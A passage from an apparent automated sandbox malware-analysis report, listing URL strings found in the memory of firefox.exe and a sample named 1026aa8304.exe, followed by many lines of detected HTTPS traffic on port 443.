Source: firefox.exe, 00000018.00000003.2726148601.0000023511BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 00000018.00000003.2726148601.0000023511BC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2726148601.0000023511BCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000018.00000003.2726148601.0000023511BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 00000018.00000003.2726148601.0000023511BC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2726148601.0000023511BCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: firefox.exe, 0000002A.00000003.2828567385.000001FA77F9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2829748773.000001FA77FC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.certificate-transparency.org/what-is-ct
Source: firefox.exe, 00000018.00000003.2726148601.0000023511BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 00000018.00000003.2726148601.0000023511BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 00000018.00000003.2726148601.0000023511BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: 1026aa8304.exe, 00000007.00000003.2487276079.00000000056AD000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2487390751.00000000056AB000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2639043253.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2638747992.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2638069799.00000000056BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 1026aa8304.exe, 0000000A.00000003.2745354122.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2741794854.0000000005678000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2738840795.000002D519CCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2738641118.000001D4620E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2972425294.000001FA76798000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2943968009.000001FA730AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 00000018.00000003.2726148601.0000023511BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 00000018.00000003.2722425679.00000235117E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2720282156.000002351174E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000018.00000003.2629918870.0000023509500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2630767333.0000023507D3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2630953545.0000023507D5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2630510005.0000023507D1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2631168919.0000023507D77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2991632782.000001FA77E6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2951780775.000001FA737E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2869582270.000001FA7B03D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2987133673.000001FA77AB6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2870051376.000001FA7B0A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: 1026aa8304.exe, 00000007.00000003.2487276079.00000000056AD000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2487390751.00000000056AB000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2639043253.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2638747992.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2638069799.00000000056BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000002A.00000002.2957361815.000001FA73A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000002A.00000002.2956336431.000001FA7398F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/2
Source: firefox.exe, 00000018.00000003.2629918870.0000023509500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2630767333.0000023507D3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2630953545.0000023507D5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2630510005.0000023507D1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2730372088.0000023509E67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2631168919.0000023507D77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2857405791.000001FA77FFE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2991632782.000001FA77E6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2943968009.000001FA7300C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2869582270.000001FA7B03D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2987133673.000001FA77AB6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2870051376.000001FA7B0A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2951780775.000001FA7373B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 00000018.00000003.2726148601.0000023511BC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2726148601.0000023511BCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 00000018.00000003.2726148601.0000023511BC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2726148601.0000023511BCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000018.00000003.2726148601.0000023511BC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2730372088.0000023509E67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2726148601.0000023511BCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2961133688.000001FA73E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: 1026aa8304.exe, 0000000A.00000003.2713463271.000000000578F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 1026aa8304.exe, 0000000A.00000003.2713463271.000000000578F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 1026aa8304.exe, 00000007.00000003.2539490491.000000000578B000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2713463271.000000000578F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 1026aa8304.exe, 0000000A.00000003.2713463271.000000000578F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000002A.00000002.2993206712.000001FA77FD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 0000001A.00000002.2738840795.000002D519CCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2738641118.000001D4620C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: 1026aa8304.exe, 00000007.00000003.2539490491.000000000578B000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2713463271.000000000578F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000002A.00000002.2942457258.000001FA72F52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgL4
Source: firefox.exe, 0000002A.00000002.2926290771.0000004C5F8FC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000002A.00000002.2993206712.000001FA77FD9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3012622457.000001FA7973F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3032865566.00001EC872700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000002A.00000002.3032865566.00001EC872700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.comx
Source: firefox.exe, 00000018.00000003.2726148601.0000023511BCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000002A.00000002.2957361815.000001FA73A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000002A.00000002.2956336431.000001FA7398F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org//
Source: firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000002A.00000002.3032865566.00001EC872700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.ca
Source: firefox.exe, 0000002A.00000002.2957361815.000001FA73A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000002A.00000002.2956336431.000001FA7398F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/3
Source: firefox.exe, 00000018.00000003.2726148601.0000023511BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000018.00000003.2726148601.0000023511BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000002A.00000002.2991632782.000001FA77E6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2987133673.000001FA77AB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 0000002A.00000002.3007673049.000001FA791EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000018.00000003.2729184224.000002350A1A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3004495789.000001FA78DB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000002A.00000002.2992964419.000001FA77FAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 0000001A.00000002.2738325027.000002D519AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/sig
Source: firefox.exe, 0000001C.00000002.2740682550.000001D462120000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/sigS
Source: firefox.exe, 0000002A.00000002.2972425294.000001FA76765000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000016.00000002.2617565954.000001D3133FA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2625218338.0000027F3B74F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000029.00000002.2784283748.000001F8AE279000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001A.00000002.2737364386.000002D519A4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdGL
Source: firefox.exe, 0000001A.00000002.2738325027.000002D519AD4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2737364386.000002D519A40000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737174295.000001D461D00000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2740682550.000001D462124000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2940062522.000001FA6950A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2940062522.000001FA69510000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2940062522.000001FA694B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 0000001A.00000002.2737364386.000002D519A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdSL
Source: firefox.exe, 0000002A.00000002.2936426983.000001FA67803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwds
Source: firefox.exe, 0000002A.00000002.2992964419.000001FA77FAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/accountgWindowsWithUnloadHandler.panel-header
Source: firefox.exe, 0000002A.00000002.3032865566.00001EC872700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comZ
Source: firefox.exe, 0000002A.00000002.3032865566.00001EC872700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comr

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
